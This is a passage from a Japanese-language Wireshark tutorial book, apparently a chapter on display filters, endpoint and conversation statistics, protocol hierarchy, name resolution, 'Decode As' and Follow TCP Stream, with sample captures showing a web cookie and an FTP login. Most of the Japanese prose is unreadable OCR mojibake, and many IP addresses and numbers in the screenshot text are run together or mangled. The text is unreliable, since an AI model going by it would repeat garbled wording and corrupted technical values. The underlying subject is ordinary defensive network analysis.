5. 74 VI X&E AN LIS, [Save]l K& v %2V v 7 LTHRAFELE T,

MBEAER L72T A AT VLA T4V 2 HAFT 51203 LT OFIMHEICHES T2 8w,

1. A =a2—7"5 [Analyze] — [Display Filters] % #3275, [Packet List] X4 > ® EFIZH
% [Filter] K% »%21) v 27 LT, E4-17 D [Display Filter] ¥4 707 % &7,

S
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72 | 4% WiresharkTO/ Wy hF 2 TF v DT I w2

_
[l Wireshark: Display Filter - Profile: Default [E=EE

Edit—— Display Filter

Ethernet address 00:08:15:00:08:15 -
Ethernet type 0:0806 (ARP)

Ethernet broadcast

Ne ARP

m

IP only

IP address192.168.0.1

IP address isn't 192.168.0.1, don't use |= for this!

1P only
TCP only

UDP only

UDP port isn't 53 (not DNS), don't use != for this! =
Properties

Filter name: | IP address 192168.0.1 |

Filter string: | ip.addr==192168.0.1 ‘ [Egplasmn...]
o) ) o)
p A

X4-17 [Display Filter] #47AJh 57 (LR ERIETES

2. ¥4 7 r7OEMCHS [New] Ky &7 ) v 7 L LW TANVT2ERLE T,
3. [Filter name] R» 27 A7 4 V¥ %% AHLET,

4. [Filter string] Kv 27 21274 Vv RXEAD LTS,

5. 74VFRKE AT LS, [Savel Ry %22 ) v 7 LTHRIFLE T,

Wireshark I21&, EFHHED T AN P ODHDETH, INLETANVIBEDL I R DOh%E
RYIFHI T BED 7 4 V7 VT BEIZ, (Wireshark D~V 7 R— Y L fi8T) 2 S 216G
TEXFT, KEOFITH 74 VFIITEL LI TVHET,




——

bE
Wireshark DS EFEEE

Wireshark DIEARZBIELI2E AT, IRDAT Yy TE LTHENE YT 7HEZBE LI L L),
ZoETIE, T FEAL VM [Conversation] ¥4 727, ZHifEOFM. 70 2 Lok, A
M) —=2074+0—, 1075 7 2GRN BEEO Mz R TWEET,

51 XY PMI—=IDIYVRKRALY bEMEE

2y NI —=ZEMMTbI L L & RIKTL 200 TT — AR VY ENTWELED
HVET IVNRAPER AV T =2 LICH BT — 7 2 2R THRBE R LE T, 2L 21E
TCP/IP#MEICIE, 220D Y FRA Y IHH ) E 5, 192.168.1.25 £ 192.168.1.30 L\ o7z, T—F %
BEEZETHRANDIPT FLATY,

RIZEE2E T, 220OWHENICOMAC 7 FLAMTHEEDITHON TV ELEEERZTHET, 77—
¥ & %ZA5 T 5 NICHT KL ZA2800:ff:ac:ce:0b:de & 00:ff:ac:e0:dc:0f DHer. THOT FLARLT VK
KA ET (R5-1),

HEEA
IVRRAVEA @g @g IVRRAVHB
O%xezob:de OﬁzeO:dc:Of
*15EB
IVRERAVEA % % IVRRAVHB
1%&1‘25 1?168.1.30

®5-1 2y hT—=TDILFRA 2B

S
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74 5% Wireshark DS E1FA%AE

A b7 =27 EOTHEEI G AOKFEDO LI 2HOFA N (R FRA V) HTirbh
Fo 2L 2E[Rb, WA ] [HRL! Hu/d?] TETHHAS L) VALt —0&Ei%,
192.168.1.5DFK A + £ 192.168.0.8 DR A M DXFFEICHE &2 5 &, [SNY] [SYN/ACKIJ [ACK] &7
D9 (TCP/IPEEIZOWTOFHMIZ6ZETHELET),

511 IVBRRAY M EEBRTD

N T4 7 BT BB, Ay M7 =2 LORFEDIZ Y FARA Y M T TN E D AD D6
b4 WTLX ). A=2—7%5 [Statistics] = [Endpoints] % #I3 % & Wireshark ® [Endpoints]
FATOATRFREN, FIZUVFRAL VDT L AR, BZE LIy ML AN M vz
MaEMmE ST hTEFET (B5-2)s ¥4 70T EHICH D455 7Tk BEOF ¥ TF v
T 7AWV H BT RTORMBITRLT Y PR Y IPFIRENE T, FFEOT T baiZonTory
FRA VbW, ¥ 7% 21 v 27 LTL7ZE v, [Endpoints] ¥4 71 7 PN® [Name
resolution] Fxv 7Ky 7 A% F NIF DL, LHEIRIAENR T,

[Endpoints] #'4 7 1 1%, [Packet List] XA ¥ THEDNNr v NDOAREFIRT 720D T 1V F
ELTHHT2ZLBTEET, TUYRRA VM2 v 758, ERLAEZ Y FRS YV FORE
G, DLKBBNT AT 749 22 FRTHLTANIRIER T HE Volzd T a vl onk
RENFE T, Fro, EIRLA2Z U FRA Y MOV — Va2 EHEEH 52 & S WRETT (fasrl
W= INZOWTIE3RETHHAL T ET),

i ™
ﬁ Endpoints: lotsofweb.pcap E@g
| Ethernet: 12 | Fibre Channell FDD]| 1Pvd: 95 |IPv6:5 | IPX, | JXTﬁ\l NCPl RS‘JPl SCTPl TCP:358| Token Ringl UDP: lﬂﬁl USBl WLAN|
IPvd Endpoints
Address 4 Packets 4 Bytes 4 TxPackets 4 TxBytes 4 RxPackets 4 RxBytes 4 Latitude 4 Longitude |
1721616128 8324 7387292 2790 507 866 5534 6879426 - = |E
17216.16.255 43 3956 0 0 43 3956 -
239.255,255.250 23 8577 0 0 23 8577 -
17216.16.2 23 9045 23 9045 0 0-
2240160 1 86 0 0 1 86 -
224.0.0.252 28 1848 0 0 28 1848 -
205.203.140.65 363 251133 235 179 061 128 72072 -
4221 102 11426 51 7275 52 4151 -
157.166.226.25 43 29167 26 24277 22 4830 -
209.85.225.148 67 26631 3 15961 36 10670 -
209.85.225.118 164 87053 94 74046 70 13007 -
20985225133 101 50738 56 43181 45 7557 - = -
[] Name resolution [T] Limit to display filter
) ] (s
~ o

X5-2 [Endpoints] 44700 h5% v TF v 77 A IFDZELRRSI L NERRT S

S
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51 Ry KRI=ODIY RRA Y bEXEE 75

5.1.2 Ry MNI—OD¥EZRD

A= a—7n5 [Statistics] — [Conversations] % #R3 % &, K 5-3D & 9 % [Conversations] %
A 7arPERSN, [Address A & [Address B] &\ ) IR THEEITHONLTVWE LY FRA |k
DT RLAE, BRAMSEZE L7287 v ML N MEDSFERENRE T,
HEfE7a I VENCERENTEY, ¥4 707 EHICH L5 7TV BZ LI N TETT, ¥
WALV ITHE, ZURNRA VY IADRODN T T4y 7 DAREFR, TV FRA VB2 LZAE
LTI 7497 DREFER, TV FRL Y PAEBRBION T 749 7 DREFIR, L\VioizT AV &
e s52bTEET,

oo ) |

-
ﬁ Conversations: lotsofweb.pcap

| Ethemet: 13| Fibre Channel| FoDI| 15w 103 | 1Py 4| e[ ixma [ cp | Rsve | scT] Tp: 278 ] Token Ring | upP: 93] Use [ wian]
IPvd Conversations

Address A 4 AddressB 4 Packets 1 Bytes 1 Packets A->B 1 Bytes A-»B 1 Packets A<-B 1 Bytes A<-B 1 RelStat =+
1721616128 17216.16.255 43 3956 43 3956 0 0 0.0000000| = |
1721616128  239.255.255.250 2 350 2 350 0 0 02930930
172.16.16.2 1721616128 2 818 2 818 0 0 02956330
1721616128  224.0.1.60 1 86 1 86 0 0 0.6015650
1721616128 22400252 28 1848 28 1848 0 0 07541010
1721616128  205.203.140.65 363 251133 128 72072 235 179061 17092310
4221 172.1616.128 16 2101 g 1433 g 668 3.0094020
157.166.226.25 1721616128 45 29167 26 24277 22 4890 3.1808700
1721616128 209.85.225148 25 8920 12 4767 13 4153 3.2419560
1721616128  209.85.225.118 164 87053 70 13007 94 74046 3.2420630
1721616128 209.85.225133 101 50738 45 7557 56 43181 32422230
7412516628 1721616128 553 532821 382 519 254 17 13567 3.2428500 ~
4 11 | [3

Mame resolution [T Limit to display filter

[ J[ com |

L A

5-3 [Conversations] 1 707 TZhZFhDIEEERRT S

5.1.3 [Endpoints] & [Conversationsl¥r70OJ AWV bS5T
Woa—=51429

FITNY 2—T 4 ¥ ZIZBWTC, [Endpoints] ¥4 71 7 & [Conversations] ¥4 7 1 713 IEH
WCHEETT, Ay bT—2 ETRKBDONF 74 v 7 O5ERZEE D), BEENb- LS
W= NZHER L7720 &V o 2 BIZIEATT KT,

72& 213, lotsofweb.pcap L V) 77 A VEFIC &L, WO D T FAT VML VI —F v b e T
TV TLTWAZEERYT, KEAOHTTP V77 4 v 7 28HIZAYN 3, [Endpoints] ¥4 712
ZRITIE, BIFEHICLTWA T 74 v 23003 CIlZbh51E3TH,

[IPv4] # 7% W5 L (R5-4), N4 MEIZY —FLTIRAIZEREIND T FLAZT—H VD
172.16.16.128 TH Y, T hy b T =27 ETh oL b BL e 4 GUERIL-L L) AR T

S
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76 |5$ Wireshark DS E 15 #EEE

' ™
@ Endpoints: lotsofweb.pcap E@u
| Ethernet: 12| Fibre Channel | FDDI| 1Pva: 95 |1pvés: 5| 1 | 17| nce | Rsve | scTe] Tep: 358 Token Ring| uDP:106] Usa ] wian]
IPv4 Endpoints
Address 4 Packets ¥ Bytes 4 TxPackets 4 TuBytes 4 RxPackets 4 RxBytes 4 Latitude 4 Longltude
1721616128 8324 7387292 2790 507866 5534 6879426 - E|

74125103163 3927 4232435 2882 4173482 1045 58953 -

1721616136 2349 1455670 1137 213891 1212 1241779 -

1721616197 2157 1073399 1107 221 885 1050 851514 -

66.35.45.201 1106 &07 006 586 702314 510 104692 -

74125103.147 608 633494 435 620 562 173 12932 -

74125166.28 553 532821 382 519 254 17 13567 -

64.208.21.43 551 357373 309 280314 242 77059 -

7412595149 543 409144 336 365 266 207 43878 -

65.173.218.96 473 331336 263 305759 210 25577 -

4.23.40126 451 318740 234 201 841 27 26 899 -

204160126126 449 185482 206 118 591 243 66891 -

7232924 387 130428 180 97 845 197 32583 - S -
MName resolution [T Limit to display filter
—

~ o

X5-4 [Endpoints] #1707 TCEDRIAMDBEEN —FESZSL\HHIDHHS

HHZENRDLPNET, 2HHOT FLATH A 74.125.103.16313 7 —H V7 FL A TR ZRWVOT, T
DEBETIZ, HD7IFIA TV IBIDIPT FLAICKEDTFT = ZRELTWDEDN, HHWIFHEE
DI ITAT Y IMPOLENRYDBEDT — 7 DEE SN TV LOhEb00) A, WHOISHZ (http://
whois.arin.net/ui/) Z2FIUEZDIP 7 FL AA5Google D DTHAH L b0, 37y Ml
FZNHD YouTube DT T4 7 THLEDLRPLTLE ),

P RUZDEIDHTIE, HFHICK>TEREEDHHEM (LIZANY) WEEULERT. L&
DHITIE American Registry for Internet Numbers (ARIN) Z{#E>CTWETH. ARINIE
KEBSKIUOBZRICBIFDIPZ FUAEIDHTEEHLTWVWET., ERNICIPY KU
AZEBEUTVDHEBDWeb T+ R T, IPOWHOIS#HRRZRITLTLEE W, i‘miﬁib‘\‘
KL<OMBIENEEIC, RBYIEL YR MU THRERZITD & BYEiE RIS N
T 7 RURAEFZEITOTVD LI MUITIF, (FAICAFNIC(Z 7UH) RIPE(R J‘I‘I)
APNIC (P I 7 KRIEF) FED DD X T,

COBEMET T, —FWMEEToTVDBIY FRA VI —FWiT 2 iToT0B EE 2 TH ALk
TL X9 % 5L [Conversations] ¥4 7027 C [IPv4] # 7% &, NA MEDY — M CTHER L
THAELLIe £I)THENT T4V IPBMOY Y O —FEHELTVWLIEPDLPIET, TF
L AA (74.125.103.163) H53%E SN TV A3, NS, 7 FLAB (172.16.16.128) 2 H%fE S
TV MEED b H R L 5T (K5-5),

S
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5.2 JOIJJUBEEHET

77

i ™
[l Conversations: lotsofweb.pcap E@g
| Ethernet: 13 Fibre Channel | FDDI| 1Pva: 103 |1pvés: 4] 1| 74| mce | Rsve | scTe | Tce: 278 Token Ring| upe: 93] Usa ] wian]
IPvd Conversations

Address A 4 AddressB 4 Packets ¥ Bytes 4 Packets A-»B 4 Bytes A->B 4 Packets A<-B 4 Bytes A<-B 4 RelStat =+
74125103163 1721616123 3927 4232435 2882 4173 482 1045 58953 39.2470910
66.35.45.201 1721616136 1106 807 006 586 702314 510 104 692 103063300
74125103147 1721616128 608 633494 435 620 562 173 12932 99661320
7412516628 1721616128 553 532821 382 519 254 171 13567 3.2428500
64.208.21.43 1721616128 551 357373 309 280 314 242 77059 6.0854720
65173.218096 1721616136 473 331338 263 305759 210 25577 59.4323280
4.23.40126 1721616197 451 318740 234 291 841 27 26 899 73.0858700
1721616197 204160126126 449 185482 243 66 891 206 118 591 16.4978080
7412595149 1721616128 415 323881 n 289 966 144 33015 3.2435920
7232924 1721616136 387 130428 180 97 845 197 32583 14.2455230
1721616128  205.203.140.65 363 251133 128 72072 235 179061 17092310
1721616128 204160104126 327 149268 161 64 263 166 85005 33174460 ~
< | I | 3

MNarme resolution [T Limit to display filter

o ) s ]

~ o

K5-5 [Conversations] 4707 T, BEEN —FBZVILNFRA MRV BEL WS ENDDD

[Endpoints] & [Conversations] ¥4 70 7 & B TED X H ) 22200 Tk, OHIZEHN
LEd,

5.2 JOMIIEEBEHET

ERZEFYTFv 77 A NVERIITHEEIC, 2235 Y 7F Y L2287 vy b)) BT/ S—L U b
WSTCP T, fil/8—+t ¥ MAIP, 78—t ¥ F2SDHCPA 72 &, 70 bavpsEDn X 9 REmlk-
TWAPEIEIRT L LRV ELRGEVHVET, TOBE N7y & 121 29[22 L8 IEH) ¢
Ao [Protocol Hierarchy Statistics] ¥4 702 7% LI v Ty, 2oOF¥4 707345y M7=
OXRYF2 =7 % {BRT OB THHRT BT T, 728 ZITHEIZARPO NT 7 1 v 7 D3RO 10%
BOIZ, ZNDB0% IR 5Tz h, AP RESRE TV ETFHTEET,

lotsofweb.pcap 7 7 4 V& P72 5, A =2 —H» 5 [Statistics] = [Protocol Hierarchy] % 3R L
T. [Protocol Hierarchy Statistics] ¥4 727 # W CAE L X9 (B5-6), /3—t ¥ MEOATFHZ
100%H £ LB OBWEHENDHNE T, £y MUIESESERF TV Ta b Iy
GENTVED, N7y MEOAFE T banvo—t s MEOGHPBRLZLZ EBHHDTT,
LIZVE, FY T FY 77 ANMIBILETERIVOEA L LT, 2R EMR SR TE T,




78 | 5% Wireshark DRI #AE

Display filter: none

Protocol % Packets Packets % Bytes Bytes Mbit/s End Packets End Bytes End Mbit/s
= Frame 100.00 % 12899 | 100.00 % | O
= Ethernet 12890 [PUEKEEDY 0931436 0.847 0 0 0.000
E Internet Protocol Version 4 12861 00926164 0.847 0 ] 0.000
[ User Datagram Protocol [ 166% 214[ 029 % 28932 0.002 0 0 0.000
NetBIOS Name Service [ o3z% 3] 0.04% 3956 0.000 43 3956 0.000
Hypertext Transfer Protocol [ 019% 25[ 0.09% 9395 0.001 25 2395 0.001
Service Location Protocol [ oo 1[ 0.00% 86 0.000 1 86 0.000
Domain Name Service [ 108% 130[ 0.14 % 14335 0.001 133 14335 0.001 |
Simple Network Management Protocol | 0.03 % 4| 0.00 % 476 0.000 4 476 0.000 I
Bootstrap Protocol [ o0z 2[ o.01% 684 0.000 2 684 0.000
= Transmission Control Protocol 125459397140 0.845 10864 8801369 0.759
= Hypertext Transfer Protocol | B 1780 [[10.13 % 1005668 0.086 1397 738128 0.063
Line-based text data 1.18 % 152| 1.09% 108211 0.009 152 108211 0.009
Media Type 0.22 % 29| 0.20% 19543 0.002 25 19543 0.002
Compuserve GIF 0.77 % 99| 0.58 % 57145 0.005 93 57145 0.005
JPEG File Interchange Format 0.56 % 72| 0.62% 62036 0.005 72 62036 0.005
JavaScript Object Motation 0.02 % 3| o0z% 2843 0.000 El 2843 0.000
eXtensible Markup Language 0.09 % 11| 0.06 % 5946 0.001 11 5946 0.001
© Portable Network Graphics [ o1z 17[ 011 % 10816 0.001 16 10469 0.001
Malformed Packet [ oo1% 1] 0.00% 347 0.000 1 347 0.000
Secure Sockets Layer [ o.01% 1] 0.00% 103 0.000 1 103 0.000
Internet Group Management Protocol | 0.02 % 2| 0.00 % 92 0.000 2 92 0.000
= Internet Protocol Version 6 [ 025% 32[ 0.05% 5020 0.000 ] 0 0.000
= User Datagram Protocol [ 025% 32[ 0.05% 5020 0.000 ] o 0.000
Domain Name Service [ 022% 28] 0.02% 2408 0.000 28 2408 0.000
Data [ o0z 2[ o0z % 2304 0.000 2 2304 0.000
DHCPvE [ o0z 2[ o.00% 308 0.000 2 308 0.000
Address Resolution Protocol | o.o5% 6] 0.00% 252 0.000 6 252 0.000

K5-6 [Protocol Hierarchy Statistics] 41 707 T3 & 7O M IDEIEGHRREND (IN—Y321.8.0)

N T4y BT HBEICRMIBHT LI DLW AL 77 D0 E D) [Protocol Hierarchy
Statistics] ¥4 707 T, TOFA 7T E AL, G4y 8T —27 THAELTWEHROEHG
WELDPENETT, T T4y 7ICHBT5E)IChbE, fibhTwb7atravodlgzls
T, Ay T =2 LOZ—F—RREGOMNADOIL LI IRV ET EXHT. HHF v T —
TR TFAVIDINT T4y 7 ERIUE & ZIFICMPRSNMP 7% E & 70 b 3 VASEAE$1UE
ITH#5, SMTP 5 7 4 v 7 OEDBIZF U TR, [World of Warcraft’ | N5 7 14 v 7 55%
i ZEN RS V=V HORE L Vo7 AGIC. ZOR Y NI =227 AV IREZOFHMDB
O BIRFICHBIcE 52 LIFLIETT,

5.3 BAifFR

Ay b7 =27 D7 =51, 00:16:CE:6E:8B:24 L WO WHT FL AD X H T, WA AIIIRTE LI

T OERE A I =200 D,
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5.3 zHig@R | 19

BTO7 FLAKRRZHOTGREFENTWI T, BRIRE L, 570 I VBB ADOT FL A%
MOT KL AZEWT 572D Z & TF, 72& 21£00:16:CE:6E:8B:24 £ \»9) MAC 7
L 20813, DNS & ARP 712 b 2)VI2 X 5 T Marketing-2.domain.com & \» 9 Z 1l TS W A3 fE
Loz LET BB DLI BT FLAZGEARTWT FLAICET 52 2105 - T, Hira ikl
LRTWVEIIZT LD T,

5.3.1 ZARREBIICTS
YEIRRE AN T 5121E,. A =2 —H5 [Capture] — [Options] % 3R L T [Capture Options]
FATU T EFIRLTLEE Y, R5-70 & 912, Wireshark (21d 3O # R fE gL THETY

MAC B D& aifigR
ARP 7't b a vz flio> T, 00:09:5B:01:02:03 &\ > 7255 2O MAC 7 F L A % 10.100.12.1
LV SO T FLRICEM L 3, B TEX WA, Wireshark 370 77 A0
Pz T AL M) IZH bethers 7 7 A V& flio TEMEZRXAT T, THITHRIKT L L,
Netgear_01:02:03D X 9 ICMACT FL ZADEHHI N, MZ IEEEW ED /2 A —H — I8
WL,

v M7=V BDEZFTRER
IP7 FL 2192.168.1.50 L\ 72538 D7 F L A % [MarketingPCl.domain.com] &\ »
7ot ART WDNSAICER L E T,

FZ 2 ZKR—NEDRFIRFR
R—MEFEAMICERLE T, 728 21X80F R — 1% Thttp] &V ) FANCEIRL 3,

Mame Resolution

[ Enable MAC name resolution
Enable network name resolution

Enable transport name resolution

X5-7 [Capture Options] #4170 TRABREBNICTS

HHRPFERE DN 2N THR Y T F v 77 A VB FHART T H T LT BHTICHE S 2 2 B
IZHIFTE 25 EDHYET. 2L RIIDNSOARIFRRZMEZIX, /37y PORFEILE LTRELT:
FAMOXTIZ — W CHERT 52 LA TE T,

5.3.2 BAIBRORR
FHIRIEE S EF DD S TR FTA5 UTFOES 2KABH) £,

S
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80 |5$ Wireshark D2 E g A%EE

o JVIVEDI— LAY —NPHUH R MR TERVE VS BT, SHIRRICERT 22 25D
U3

o MFIRRLTEHIEF ¥ 7F v 7 7 A MITRAE SN2, FX¥ T F v 7 74 VERLTZUNC
KRR AT PN T TDOF Y TF v 77 A NVERVE ZITh— A — N TE
ZIFUEAHIRRTE $ A

® DNSIKAFT B LIl b7z, GRSy "R AELFE T, DNSHOATIRINT 7 4 v
IWFETHIO. FXxTF T 7 AN LS50 LEEA BB E. M7V E R
LTV EEIZHGHED N 749 713172 B DOTY,

o AHIRRDIZDIHEF LM FHALE T, ERRFY T F v 77 A VEPRS>TVRTAEY S
ARLTWREEIE, YATLY Y =A% HNENT 5720 ARRIIIIT bR VIE) T &
WTLX),

5.4 JObRJIS3hiERE

Wireshark Tid. 7’0 b 2L D48 (protocol dissector) (2X D, 7O hanz 8T I REHIC
SR LT RE IR IS LT Ed, 728 21F, ICMP® 71 b 2V 51 #f 1, Wireshark
BAY VT =S PS L EF— % ZICMP/ 87y b LTEZLTERLET,

SHEERE I, Ay NI =2 ZWNDLEDr v b & Wireshark E OB OFRED LI b DT
T o Wireshark23 70 b I V& %R — b3 2121, 2D 78 b 2O 5T #E 2 Wireshark 12 N s
ENTULLERHNET (HDLVIZCEFE,PythonZ - THS TRl T 2L ELHY ),
Wireshark (345737 v b & 5500 T 5 B2, WO OGN % 64T L TRV E 5. 13 2 550 %
Wix7arsrouyy 2k aiElciug shEd,

5.4.1 SthiEEDERE
B h 5. Wireshark 232 3 IE LWAHT RS 2 IR 2 LIZRD A RIS (R b
T— 7 ERFEILoTEF 2 TAMEL LTRESNAY, EERICL>TT 7 L AR A L0
Z7:01ATbhz0$ %) FEEOR—- PO L v orz, —~BWTHRVERESTONTWLEICE
RBHZETY, FWRZ LT, Wireshark 2%BIR L7202 55 2 LT RETT
wrongdissector.pcap ZHWTAHFEL Lo DT 74 NIIZ2HED KA M TOKRE D SSLEEAH
RSN T E§, SSLid Secure Socket Layer 70 F I VOIET, 2 v ¥ 2 — 7 M TORFL S
GFEBMEOZDIHH SN T T, TloRK THIUL, SSLiki 7L 8T 5729, Wireshark
TrI7 74972 Z ML TOHIVARLGIHFRIIHONTEA. LELEB AR BLLVOIZIH
LN T, X7y a2 1) v 7 LT [Packet Bytes] R4 V2B L, 607 v FONEE I
THDLEFXDIN T T4 70D LT CICKADEET T 4FHD v M2 5 & FileZilla &
W) FTPH =17 7)) r—2a VIZHT 2 XFHINHFHEL T B I Db 5. ThUHid 8
Ty TR Z—F—HENRNAT—FIZHT L) 7 ZAPELAR Y APE S EDEFRENTVET,

S




——

54 JORILHHHE | 81

INDARYBIZSSL T 7 49 7 THIUE, 737y MZEEINTVWETF =7 1Z—Wid R widd T, %
FENTVLL—F =227 — FH —PFERENHZVIETTT (B5-8), ZZITRINTWDIE
HERLLEY, ZHFBZFSHLSSLINTF 7492 TE3%L FTP S 749 7 Th b L ARE L THER
WCLE)o SOFTP LS 7 4 v 7 A HTTPS (HTTP over SSL) DT % 4437 R — b & fli> T
VB0, TOLI)BHEEPBELTLESOTT,

[ & 0.036053 192.168.0.82 192.168,0.53 S5L Continuation Data =i

Frame B: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:25:02:5e (00:0c:29:25:02:5e)
Internet Protocol, Src: 192.168.0.82 (192.168.0.82), Dst: 192.168.0.53 (192.168.0.53)

Transmission Control Protocol, Src Port: 1492 (1492), Dst Port: 443 (443), Seq: 253948672, Ack: 189275093, Len: 12
Secure socket Layer

0010 00 34 37 68 40 00 80 06 00 00 c0O a8 00 52 cO a8 A7ha. .. ..... R.. -
0020 00 35 05 d4 01 bb of 22 f3 00 Ob 48 1b d5 50 18 P T "L ..H..P.

0030 01 00 &1 fe 00 00 EEEEEFNPIFNNINTNCNE ...... [0S ER admin] H
0040 [ENE ]

[5-8 FXDL—H—HZE/NXZXT—R-eee ZNhIESSLTIIELFTPDL S 7!

COREZ BT 51213 FTPOOH M2 9 & 9 Wireshark IZHR 2 L H Y 5 LT
DFMUE > TRRE LTS v

1. SSL37r v b D% 42 ) v 7 LT [Decode As] %EIRL 9, &7 1 ka5
Wi fli) 2% BINT 54 7 arhFRshEd,
2. [Transport] ¥ 7CRO v 7% v X =2—H5 [destination (443)] Z:#IR LT, [FTP] % #EIR

LEd. SNT, TCPOSLAR— D443 FDNF 7 1 v 27 TFTP OGS A S E§
(X5-9),

i Wireshark: Decode As E@u
Linkl Metwork| Transport

it Fibre Channel over P
FIX
FTP o
FTP-DATA

© Donotdecode | TCP | destination (443) =| port(s) 35 | iFT
GIOP
GMNUTELLA

[ 2k ” Apply ” Close

X5-9 [Decode As] 44 7O THMENEEIZRET S

n

BHRE BFIHITY =007 54 T VNI Ny MEBRRLASEE, Fay 78y 2Aoa—050
[source(443)] % EIRNL 7

S
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82 |5$ Wireshark D2 E g A%EE

3. [OKI K &7 )y o, Fv7Fv7 74 VICHIRICETE S EH SN E T,

T = Z DN S TB Y B M ZRER L %< T, [Packet List] <A % 5721
T X7y b T& 5139 T,

DB DEB(EF v TF v I 7 A IVICFFESNT. WiresharkZ#&T 9D &b
FT. FrIFvIPAIEBRL UL, DITEEEZETDNEND DT,

F U 7F %7 74 IV CHNtiEoZs %
ireshark: Decode As: Show b‘é‘g
BffoTh TV Ethe RvTF v 77 A AT iT: “:‘I D;’:‘_’; S“tl‘L ‘

IO ET 2 W2bfToTLEI &L, HZ TCPport 443 SSL FTP
TBLDOPREIZRY) 325, Wireshark 234 H
NIZEZTBWTLNET, [Decode As] ¥4 7
227 ® [Show Current] K% %27 v 79 1UL,
GETIT- BT O—BERFREINET (K
5-10), [Clear] K7 » 2§ & T, ZNHDOE
WEREETHIELURETT

o Joo JLoe oo

X5-10 [Show Current] RZ> & §&. Zh&ET
T EBEO—BIARRIND (IN—-T3
>1.8.0)

5.4.2 SthEEOY—AI1—FrZR%

F—=T V= AT TV — v a YR BBIRIE, REE) Lo TwRObrb R kol t
& V23— FE2HCZORKNEZHMEICHRTEL 2 ETY, UL Eo7a bavisH#Es
THM ENT LB ZHERT 5 & S ITFHEFITT

7 I VG HEERED Y — 23— K2 #E#R9 5121%. Wireshark ® Web 4 hC, [Develop] ®)
VDRI Ak FFoTWE, [Browse the Code] #7271 v 27 L3, Wireshark ® subversion )
RIYPINEBBHL, WA=V a0V =23 = F72FTHL BEON=Y a0y —2a—F
LNEJ, releases 7 A V¥ &P &, TRTHOLAA % Wireshark (B & UMEthereal) V') — AD—
BAS, mWIHICERENT T, MR LW ) — X% @45 &, epan/dissectors 7 + V¥ 2710
b IV GHREREAS L OA 5139 CTF . KA [packets- 7H IV c] v ) BFRICR->TW
SIS

T7ANDOPEIED ko XTI, WINBFRERN 2T > 7L — b RALTEY), 8E2a X

T EUE  AREEIEE R TR N—Y 3 2 180 THERAL7ZZE 24, K5-10D X912 [Save] &\ K& 5Bl
ENTVELRz FRNIZOIRIEOLE T DA VR — b, 7 AR—= M EHT M2 E BbNE5795 RERER
BT ORY VIBREL TOARWE ) T, #ILTHMIBELIRATL .

S
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55 TCPRRU—LOZR | 83

YENONTVEZEIZHAILTLE) o CEREICFELL L TY, it o LR 1 2 # R I3 FLF ©
& F9, Wireshark TR TE L2 NEZ R L2 0ASIE, HHi 70 ha VTl T, KIK
FROGHIHEMEZ X BALIR L CBLZ 2B LET,

5.5 TCPARU—LORT

Wireshark ® & CTHEFM RO O EDE LT, TCPA M) — 2% 5HARLTWERICEE LT

LBV ET, 7 AT VMo —NIEBEINT—F 2 RED/ISI VT =5 E LTHA
D2, [Follow TCP Stream] ¥4 7227 F— %% F Lo THRPILLTINE T, Zhix, HTTP
REFTPLREDFEXDT TV r—a @7 a b a e 2Re 5B TY (29 Liz— M2
T IVOFEICONTIIRFETH LR TWEEY),

A HTTP NS %2 v a v %% 2 CHAEL LD, hitp_google.pcap7 74 V& &, 774

VHAODTCP /2 EHTTP Sy b ks )y L, 774 V&4 2 v 2 LT, [Follow TCP
Stream] Z#EIRL F3, §HLTCPAMN) —A0H LWy A 7ua7Il#oRrENnEd (R5-11),

L

r
[l Follow TCP Stream [E=REERX

-Stream Content

Fin ve rint ||Entire conversation (=3 @ @ © Hex Dump © rrays @ Raw
d Sa As P E (5484 bytes) ASCI @) EBCDIC © Hex Dump © C Array: Ri

GET / HTTP/1.1
HOsST: www.google. com —
User-agent: Mozilla/5.0 (wWindows; U; windows NT 6.1; en-Us; rv:1.9.1.7) Gecko/20091221
Firefox/3.5.7

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8

Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;g=0.7,*%;0=0.7

Keep-alive: 300

connection: keep-alive

cCookie:

PREF=ID=257913a938e6c248:U=267c896b5T 39fb0b:FF=4 :LD=en:NR=10:TM=12607 30654 :LM=1265479336:GM=1:
S=h1UBGONTUWU3D23L; NID=31=Z-nhwMjUP63e0tYMTp-3T11gMSPNNS1eM1kNl_DUrno2zwlcPM4JE3AJecSb_vG-
YFibFxszoapfbhealBox4dKkx4L 8ZDdeiKwgekgP 5_kZELTC2ZMUHX7RHX3PITTCUZ

»

m

HTTP/1.1 200 OK

Date: Tue, 09 Feb 2010 01:18:37 GMT
Expires: -1

Cache-Control: private, max-age=0
content-Type: text/html; charset=uUTF-8
Content-Encoding: gzip

Server: gws

content-Length: 4633
X-X55-Protection: 0O

e kw..... +..
B..+FL..J.}....rX.-.1 R e R W ¥/ .. VLA X/f.0..q V.0 lGc
c.u.vf,.@,0..] Q B...=..> . C...4.XN...... P.o..... Qv 9)o..!..xhd
ey e et o |[eeocae b Y R Wit S o s SRR E e e S e ] e s e o 9....
<k.,R...X..GN..H.G)..i.E1.|.d..¥~.8B.>6...... k8. h@S..D?....#RVO ...... ng3.x. ). .g-SW. V..o B
B o clitb o [k olFe He o e iiie el coolFPeccoce cocoocomcoc ootk yo. e 2B, olipo s o P s o e B9lFe c Do ocifc B c ool
2 e e B c ot c[Mecocflacaccce fa ........... Ipq‘*uuc..h....
hh. -6 G. | Yoo P sz.p.G..L. L] GE s s 9.4..f..., AZ. S -

[ Filter Out This Stream ] ’ Close

X5-11 FHARTWHERA TEIEERRTS [Follow TCP Stream] 41 707

COFALTATZHADOTFAMI2BIBHTITFENTVET, RIZBETLHIHSBENDIT T4 7,

FIEEO I, DFNHEPLRBILAND T T4 v 7 2R LTVWET, ELEL0LRE ShehT

S
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84 |5$ Wireshark D2 E g A%EE

BT ENTHWBEDTT, TOFITIE. 7547 Y M Web S —NIH LCTarr va vy #BiELT
WBDT, RTFEREINTVET,

COTCPAN) —ATIE, 2HEDFA N TOMBEOIZLAEERLL I ENTEE T, MIE51EWeb
DOV—=F F4 L7 ) (/) N\OGET) 7 ZAMTIED, ¥ —=NFV 7T AP Z M-/ %
HTTP/1.1200 OKE W) R TELTWE T, DT, 2547V M7 74 VEY 72 AL,
F— NP ZFIUHF LTIRET B E Vol MDY — U232 ) — A ETHRYESRTVEY, 2
